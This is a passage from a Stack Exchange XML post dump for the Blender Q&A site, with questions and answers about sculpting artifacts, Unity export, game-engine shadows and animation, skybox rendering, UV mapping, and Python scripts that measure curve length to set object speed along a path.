outliner here: &lt;a href=&quot;https://www.blender.org/manual/editors/outliner.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.blender.org/manual/editors/outliner.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2016-08-13T23:35:34.160" LastActivityDate="2016-08-13T23:35:34.160" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28318" PostTypeId="1" AcceptedAnswerId="31730" CreationDate="2015-04-10T00:56:42.020" Score="6" ViewCount="86" Body="&lt;p&gt;I want to get 2.74, but my game is in 2.72. How can I convert this safely, meaning that &lt;strong&gt;everything will stay as is, except new features will be possible.&lt;/strong&gt;?&lt;/p&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2015-05-30T20:21:45.130" Title="How to convert my game to a newer version?" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28319" PostTypeId="1" AcceptedAnswerId="28320" CreationDate="2015-04-10T01:57:46.930" Score="3" ViewCount="851" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IqgO2.jpg&quot; alt=&quot;blue artifact&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I sculpted with Dyntypo enabled, but then there appeared those strange blue artifacts. If I use the smooth brush, it minimize the problem, but some artifacts stay.&#xA;Why does this happen? And how can I fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks!&#xA;And happy modeling :)&lt;/p&gt;&#xA;" OwnerUserId="13706" LastActivityDate="2015-04-10T02:18:15.797" Title="Sculpting with Dynamic Topology, using Inflate Brush, blue Artifacts appear" Tags="&lt;sculpting&gt;&lt;dynamic-topology&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28320" PostTypeId="2" ParentId="28319" CreationDate="2015-04-10T02:06:46.883" Score="5" Body="&lt;p&gt;This is because of bleed through from the inner faces, facing the opposite direction. The darker color indicates the Normals direction. Try to never have interior faces near the sculpting surface while sculpting. If the hair is a separate object, you can completely remove inner faces, as they serve no purpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jzUPc.gif&quot; alt=&quot;Sculpting Demonstration&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice that you will have to do this before you begin sculpting, as sculpting directly affects changes to the mesh. In order to salvage your mesh, you will have to just clean up as carefully as possible, using the &lt;em&gt;Smooth&lt;/em&gt; brush and such tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UfoCh.gif&quot; alt=&quot;Sculpting repair&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-04-10T02:18:15.797" LastActivityDate="2015-04-10T02:18:15.797" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28321" PostTypeId="2" ParentId="27979" CreationDate="2015-04-10T02:40:13.357" Score="12" Body="&lt;p&gt;This does not appear to be possible without the internal editing of the Blender source. I would recommend submitting a feature request for this. This feature could be very useful and should not be hard to implement. Someone could potentially create a patch that adds that ability as well.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-04-10T02:40:13.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28323" PostTypeId="2" ParentId="28225" CreationDate="2015-04-10T04:40:30.553" Score="1" Body="&lt;p&gt;It turns out the problem was that the armature was not the active object. To make it the active object, I had to deselect the active object and then set the armature as the &lt;a href=&quot;https://caretdashcaret.wordpress.com/2014/09/30/how-to-select-an-object-in-blender-using-the-api/&quot; rel=&quot;nofollow&quot;&gt;active object&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ob.select = False&#xA;bpy.context.scene.objects.active = armature&#xA;armature.select = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13324" LastActivityDate="2015-04-10T04:40:30.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28324" PostTypeId="1" CreationDate="2015-04-10T05:46:04.940" Score="1" ViewCount="665" Body="&lt;p&gt;i'm new to blender and i made a simple push animation(&lt;a href=&quot;https://drive.google.com/file/d/0B2TovTwIWuC7dHZid0pZV2FrX28/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;link to the blender project to have a look&lt;/a&gt;) for a button, in blender everything seems to work fine. &#xA;When i export it as .FBX it works in unity, but not just out of the box, before i need too make some adjustment screened below. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After researching for a while on the net is not yet clear to me if this is just intended to work like this or i'm doing something wrong in blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rpNY4.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/5tbBn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13671" LastActivityDate="2015-04-10T05:46:04.940" Title="Odd animation (without armature) when imported in Unity" Tags="&lt;animation&gt;&lt;unity&gt;" AnswerCount="0" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28325" PostTypeId="2" ParentId="28290" CreationDate="2015-04-10T08:29:31.403" Score="8" Body="&lt;p&gt;&lt;em&gt;(this is a converted comment)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good results can be done with tooth geometries that consist of 2 surfaces: dentin (refraction 1,45) and enamel (refraction 1.7).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tooth is an anisotropic volume with numerous layers non of which is actualy solid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Front-lit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ycSn7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Back-lit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lDuhV.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you give us some dental scan or something? That way I can do some tests in the evening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should be mix of sss and transparent for the enamel with glossy on surface and yellow tinted volume absorption for dentin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should yield what you want. Adding the refraction and anisotropic element should also help but maybe that will be just an overkill..&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-04-10T18:37:42.787" LastActivityDate="2015-04-10T18:37:42.787" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28326" PostTypeId="1" CreationDate="2015-04-10T10:17:20.970" Score="1" ViewCount="423" Body="&lt;p&gt;I have a semi-transparent vase that casts a nice shadwo when I hit &quot;p&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I start the standalone player, the transparent material doesn't cast a shadow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas why that could be?&#xA;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="9529" LastActivityDate="2015-04-21T13:25:55.607" Title="Blender Game: Transparent Shadows" Tags="&lt;game-engine&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28327" PostTypeId="2" ParentId="28326" CreationDate="2015-04-10T10:27:47.050" Score="1" Body="&lt;p&gt;Got it, had to change the transparency from &quot;Z Transparency&quot; to &quot;Raytrace&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: In the material settings you have &quot;mask&quot; &quot;z transparency&quot; and &quot;raytrace&quot; - just select the &quot;raytrace&quot; box.&lt;/p&gt;&#xA;" OwnerUserId="9529" LastEditorUserId="9529" LastEditDate="2015-04-21T13:25:55.607" LastActivityDate="2015-04-21T13:25:55.607" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28328" PostTypeId="1" AcceptedAnswerId="28349" CreationDate="2015-04-10T12:46:44.840" Score="11" ViewCount="2256" Body="&lt;p&gt;I followed a tutorial &lt;a href=&quot;https://youtu.be/Tr6wTyfAO04&quot;&gt;Adding Clouds to Blender Cycles' Sky Texture&lt;/a&gt; on how to generate a nice sky in Blender with good  results.&lt;br&gt;&#xA;Now I want to  export the sky as 6 images for making a skybox in my game engine (Esenthel). I tried with rotating the camera in the six directions needed( front, back, left, right, up and down) and saved the renders, but that didn't work to good as I got visible seams when applied in my engine skybox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do anyone have an advice on how to do this export correctly?&lt;/p&gt;&#xA;" OwnerUserId="13716" LastEditorUserId="2217" LastEditDate="2015-04-10T13:23:14.597" LastActivityDate="2017-06-11T18:13:47.577" Title="Exporting Cycles Sky to skybox images" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;image&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="28329" PostTypeId="2" ParentId="27669" CreationDate="2015-04-10T14:57:08.843" Score="4" Body="&lt;p&gt;I compared the playback speed, in the viewport and in the BGE. I first used your very fast and short animation, then several different motions. The animation playback speed is &lt;strong&gt;the same&lt;/strong&gt; for longer animations. However for your very short animation there is some times some delay. The difference appears to come from the way the BGE handles animations.&lt;br&gt;&#xA;A simple fix is to simply make the animation longer. Here I duplicated your keyframes 7 times, for a total of 8 cycles in the one action (named &lt;em&gt;move&lt;/em&gt;).&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/LlcjC.png&quot; alt=&quot;edited keyframes&quot;&gt;&lt;br&gt;&#xA;Then increase the &lt;em&gt;End Frame&lt;/em&gt; in the Action Actuator (more on the Action Actuator at the bottom of my answer).&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/2FTVx.png&quot; alt=&quot;logic bricks Action Actuator&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Also the way you are creating the delay for the message could be made much better.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;First note that the game property is now a &lt;strong&gt;&lt;em&gt;Timer&lt;/em&gt;&lt;/strong&gt;. It starts counting up from 0, in seconds, when the containing object gets added to the game (or in this case because the object is always there, when the game starts).&lt;/li&gt;&#xA;&lt;li&gt;The &lt;strong&gt;&lt;em&gt;True level triggering&lt;/em&gt;&lt;/strong&gt; is not needed on either of the sensors (if left on it will automatically fire when the game first starts.)&lt;/li&gt;&#xA;&lt;li&gt;The &lt;em&gt;Property&lt;/em&gt; sensor's Evaluation type is set to &lt;strong&gt;&lt;em&gt;Greater Than&lt;/em&gt;&lt;/strong&gt;. If left to &lt;em&gt;Equal&lt;/em&gt; you could only fire for the split second when the timer is at the value of the property sensor (if you missed it you could never fire again).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The logic bricks pictured below are only the ones used to create the delay and send the message.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/gkYhY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gkYhY.png&quot; alt=&quot;logic bricks&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;The &lt;em&gt;Action&lt;/em&gt; Actuator for your Armature.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;On the &lt;em&gt;Action&lt;/em&gt; Actuator for your Armature object in the Weapons scene, there is one little check box that can make a big difference.&lt;br&gt;&#xA;Uncheck the &lt;strong&gt;&lt;em&gt;Continue&lt;/em&gt;&lt;/strong&gt; box on the &lt;em&gt;Action&lt;/em&gt; Actuator.&lt;br&gt;&#xA;Having that checked is telling blender to continue playing the animation from wherever it left off, you want it to always start at the beginning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kbHuK.png&quot; alt=&quot;Action Actuator logic brick&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2015-04-14T02:23:19.037" LastActivityDate="2015-04-14T02:23:19.037" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="28332" PostTypeId="1" AcceptedAnswerId="28339" CreationDate="2015-04-10T17:10:46.133" Score="8" ViewCount="695" Body="&lt;p&gt;I've made a scene with a car travelling along a path; is there a way that I can simply set the speed of the vehicle in &lt;em&gt;m/s&lt;/em&gt; or &lt;em&gt;km/h&lt;/em&gt;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Manually calculating the distance my object has to travel in a certain time, or setting the correct slope in the graph editor seems like a hassle that shouldn't be necessary.&lt;/p&gt;&#xA;" OwnerUserId="1390" LastEditorUserId="3078" LastEditDate="2015-04-10T22:02:39.480" LastActivityDate="2015-04-11T18:03:54.713" Title="Is there an easy way to set the speed in units like km/h for an object travelling along a path?" Tags="&lt;animation&gt;&lt;bezier-curves&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28334" PostTypeId="2" ParentId="28332" CreationDate="2015-04-10T18:15:49.313" Score="1" Body="&lt;p&gt;you must know the total travel time&lt;/p&gt;&#xA;&#xA;&lt;p&gt;after that you must configure the parameters of frames per second (ftps)  and the path animation parameters as frame and  Evaluation time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;that is a simple rule of three&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/edEB0.png&quot; alt=&quot;configuración path&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;also you can calc the length of a Bezier curve please check: &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?206790-Length-of-a-Bezier-curve-in-2-5&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://blenderartists.org/forum/showthread.php?206790-Length-of-a-Bezier-curve-in-2-5&lt;/a&gt;&#xA;or you can try with my script that will print the lenght in console:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy, bmesh&#xA;&#xA;for area in bpy.context.screen.areas:&#xA;    if area.type == 'VIEW_3D':    &#xA;&#xA;        ob1 = bpy.context.active_object # this is the curve&#xA;&#xA;        bpy.ops.object.duplicate_move(OBJECT_OT_duplicate={&quot;linked&quot;:False, &quot;mode&quot;:'TRANSLATION'}, TRANSFORM_OT_translate={&quot;value&quot;:(0, 0, 0), &quot;constraint_axis&quot;:(False, False, False), &quot;constraint_orientation&quot;:'GLOBAL', &quot;mirror&quot;:False, &quot;proportional&quot;:'DISABLED', &quot;proportional_edit_falloff&quot;:'SMOOTH', &quot;proportional_size&quot;:1, &quot;snap&quot;:False, &quot;snap_target&quot;:'CLOSEST', &quot;snap_point&quot;:(0, 0, 0), &quot;snap_align&quot;:False, &quot;snap_normal&quot;:(0, 0, 0), &quot;gpencil_strokes&quot;:False, &quot;texture_space&quot;:False, &quot;remove_on_cancel&quot;:False, &quot;release_confirm&quot;:False})&#xA;&#xA;        bpy.ops.object.transform_apply(location=False, rotation=False, scale=True)&#xA;&#xA;        bpy.ops.object.convert(target='MESH')&#xA;&#xA;        bpy.ops.object.editmode_toggle()&#xA;&#xA;        obj = bpy.context.object&#xA;        me = obj.data&#xA;        bm = bmesh.from_edit_mesh(me)&#xA;&#xA;        edges= [e for e in bm.edges]&#xA;&#xA;        total = 0&#xA;        for edge in edges:&#xA;&#xA;            total = (total + edge.calc_length())&#xA;&#xA;        print(&quot;total: &quot;,total)&#xA;&#xA;&#xA;        bmesh.update_edit_mesh(me, True)  &#xA;        bpy.ops.object.editmode_toggle()&#xA;        bpy.ops.object.delete(use_global=False)&#xA;&#xA;        ob1.select = True&#xA;        bpy.context.scene.objects.active = ob1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11077" LastEditorUserId="11077" LastEditDate="2015-04-10T19:28:02.937" LastActivityDate="2015-04-10T19:28:02.937" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28335" PostTypeId="1" AcceptedAnswerId="28346" CreationDate="2015-04-10T19:35:58.427" Score="3" ViewCount="330" Body="&lt;p&gt;My scene is a home consists of 4 walls(4 cube). I placed a light source at the same distance from the corner that joint wall 1 and wall 3 (45 degree). If I applied texture on walls, I obtain this image where the light reflected not exactly  symmetrically &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jh28u.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but when i delete the texture of walls, I obtain this image where the light is reflected symmetrically. How can we explain this phenomenon ?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ykWsD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11289" LastEditorUserId="11289" LastEditDate="2015-04-10T20:38:32.993" LastActivityDate="2015-04-11T01:05:01.680" Title="How can we explain texture effect on the point light" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;uv&gt;&lt;nodes&gt;&lt;light&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="28336" PostTypeId="2" ParentId="21589" CreationDate="2015-04-10T19:39:36.253" Score="6" Body="&lt;p&gt;You can also model a cube by adding a plane&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9NTuk.png&quot; alt=&quot;Add Plane&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then select the plane and press &lt;kbd&gt;Tab&lt;/kbd&gt; to enter edit mode.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/r8ccv.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;then press &lt;kbd&gt;E&lt;/kbd&gt; &lt;kbd&gt;2&lt;/kbd&gt; to extrude 2 units. If you are using default units, this will make a default sized cube.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5i8CX.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;To place the origin in the center, exit edit mode by pressing &lt;kbd&gt;Tab&lt;/kbd&gt; again. then press &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;C&lt;/kbd&gt; and select &lt;em&gt;Origin to Center of Mass&lt;/em&gt; this will place the origin in the center of the cube.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FdfTD.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now all you need to do is add your favorite color to it, and you will have a perfect cube.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/meHQ0.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="86978" LastEditDate="2021-05-03T01:01:19.420" LastActivityDate="2021-05-03T01:01:19.420" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28337" PostTypeId="2" ParentId="21524" CreationDate="2015-04-10T21:40:01.370" Score="8" Body="&lt;p&gt;You can do this by having your gun fire a setup like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/b8Nrz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before, you gun just fired the cone, and there was nothing to make it rotate. however, if the cone is parented to a cube with the physics set to &lt;em&gt;Rigid Body&lt;/em&gt;, and the gun fires the cube, the cone will move with it. however, there is still nothing to make it rotate. This can be fixed by enabling the &lt;em&gt;slow parent&lt;/em&gt; option on the cone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fPLiw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this option enabled, the cone will lag behind the cube when the cube is fired out of the gun. but we still need the cone to rotate. we can do this by making it track to the cube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PwZdC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when the cube is fired, the cone lags behind and points to the cube. this creates the illusion like it is dropping due to gravity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DKWIO.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However there is still a problem. when the cube hits the ground, it starts rotating. Because the cone is parented to the cube, it also starts spinning out of control. We can fix this by preventing the cube from rotating. Remember, the cubes is only so the cone has something to track to. IF you want, you can also use it to calculate the collisions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xKpxT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now we can test it again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0fcqQ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It now looks like it should, but there is a giant cube in front, and the cone does not look like a very convincing projectile. And, when the cube hits the ground, the cone still fires off slightly. we can fix the problems with the cube first by making it invisible, and enabling the &lt;em&gt;ghost&lt;/em&gt; setting. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GqTsx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now it will pass through the plane, making the cone follow it as it would if it was a bomb falling to the ground. however, we made the cube invisible, so we can't see the cube anymore. we can only see the result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kAk9f.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is good, but the cone still does not look like a very good projectile. &#xA;You can obviously model anything you want for this, but I chose to model a missile because they look cool. I also added an explosion when the cube hits the ground, and some other awesome effects to make it look cool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FEf0Q.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/169/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=169&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2015-12-22T17:41:43.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28338" PostTypeId="1" AcceptedAnswerId="28342" CreationDate="2015-04-10T21:40:40.377" Score="5" ViewCount="803" Body="&lt;p&gt;I can't seem to get these particular faces to take the UV Mapping. I selected the entire object, entered edit mode, hit &lt;kbd&gt;U&lt;/kbd&gt;&gt;&lt;em&gt;Unwrap&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rest of the mesh takes the uv wrapping, but not those faces for some reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WJKxs.jpg&quot; alt=&quot;model showing the UV map&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks normal in solid mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4Cc1h.jpg&quot; alt=&quot;model with solid shading&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what could be causing this?&lt;/p&gt;&#xA;" OwnerUserId="12680" LastEditorUserId="3078" LastEditDate="2015-04-10T21:59:15.980" LastActivityDate="2015-08-12T15:49:50.170" Title="Some faces of a model don't respond to UV Mapping" Tags="&lt;mesh&gt;&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28339" PostTypeId="2" ParentId="28332" CreationDate="2015-04-10T21:45:44.470" Score="4" Body="&lt;p&gt;I think I finally have a working solution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    import bpy, mathutils&#xA;from mathutils import Vector&#xA;&#xA;le = 0&#xA;&#xA;#Speed in m/s&#xA;targetSpeed = 10&#xA;obj_name_original = bpy.context.active_object.name&#xA;&#xA;def getLenght():&#xA;    ob = bpy.context.active_object        &#xA;    if ob and ob.select and ob.type == 'CURVE':  &#xA;&#xA;        em = (ob.mode == 'EDIT')&#xA;        bpy.ops.object.duplicate_move()            &#xA;        bpy.ops.object.mode_set()&#xA;        bpy.ops.object.transform_apply(scale=True)                                  &#xA;        bpy.ops.object.convert(target='MESH', keep_original=False)&#xA;        ve = bpy.context.active_object.data.vertices&#xA;        global le&#xA;        dd = le = 0&#xA;        for i in bpy.context.active_object.data.edges:&#xA;            dd = ve[i.vertices[0]].co - ve[i.vertices[1]].co&#xA;            le += dd.length&#xA;        le = round(le,4)&#xA;        bpy.ops.object.delete()&#xA;        print(le)&#xA;        if em: bpy.ops.object.mode_set(mode='EDIT', toggle=False)&#xA;&#xA;        global obj_name_original&#xA;        bpy.context.scene.objects.active = bpy.context.scene.objects[obj_name_original]&#xA;        bpy.context.object.select = True&#xA;&#xA;    else:&#xA;        raise Exception(&quot;The selected object is not a curve&quot;)&#xA;&#xA;&#xA;targetC = 0&#xA;&#xA;def findC():&#xA;    global obj_name_original&#xA;    for ob in bpy.data.objects:&#xA;        if ob and ob.type == 'MESH':&#xA;            for c in ob.constraints:&#xA;                if c.target.name == obj_name_original:&#xA;                    global targetC&#xA;                    targetC = c&#xA;                    #print(c)&#xA;&#xA;def setO(scene):&#xA;    global targetSpeed&#xA;    global targetC&#xA;    global le #scene.render.fps    ((le/targetSpeed))*(scene.frame_current/(scene.frame_end*targetSpeed))&#xA;    targetC.offset_factor = scene.frame_current/((le/targetSpeed)*scene.render.fps)&#xA;&#xA;getLenght()&#xA;findC()&#xA;&#xA;def register():&#xA;    bpy.app.handlers.frame_change_pre.append(setO)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.app.handlers.frame_change_pre.remove(bpy.app.handlers.frame_change_pre[-1])&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The way it works is that it approximates the length of the curve, and then changes the offset of the object following it every frame - essentially animating it. It does require that you select the curve before running the script, otherwise, it will purposely crash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to use &lt;em&gt;km/h&lt;/em&gt; instead of &lt;em&gt;m/s&lt;/em&gt; you just need to divide the speed by &lt;code&gt;3.6&lt;/code&gt;, which will convert it to &lt;em&gt;m/s&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="3078" LastEditDate="2015-04-11T18:03:54.713" LastActivityDate="2015-04-11T18:03:54.713" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28340" PostTypeId="1" CreationDate="2015-04-10T22:02:12.030" Score="3" ViewCount="306" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wJBzm.png&quot; alt=&quot;enter image description here&quot;&gt;I made this car with blender and I used some materials in my design.&lt;br&gt;&#xA;I exported car and materials. When I use in unity I can't see the materials.  I try a lot of way but I didn't fix this problem. ( I used the paint mode but I want this different materials like emission for highlights. )&lt;/p&gt;&#xA;" OwnerUserId="13726" LastEditorUserId="13726" LastEditDate="2015-04-10T22:58:11.610" LastActivityDate="2020-01-01T10:01:35.343" Title="How to export blender material files to Unity" Tags="&lt;materials&gt;&lt;export&gt;&lt;unity&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28342" PostTypeId="2" ParentId="28338" CreationDate="2015-04-10T22:11:15.010" Score="6" Body="&lt;p&gt;&lt;strong&gt;Some of the faces were not selected while assigning the texture.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To avoid that problem, make sure all UV islands are selected when creating or assigning a texture, or select all the UV islands and reassign the texture again from image browser: the small image icon on the bottom of the UV/Image editor window. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rnKXG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="12820" LastEditDate="2015-08-12T15:49:50.170" LastActivityDate="2015-08-12T15:49:50.170" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
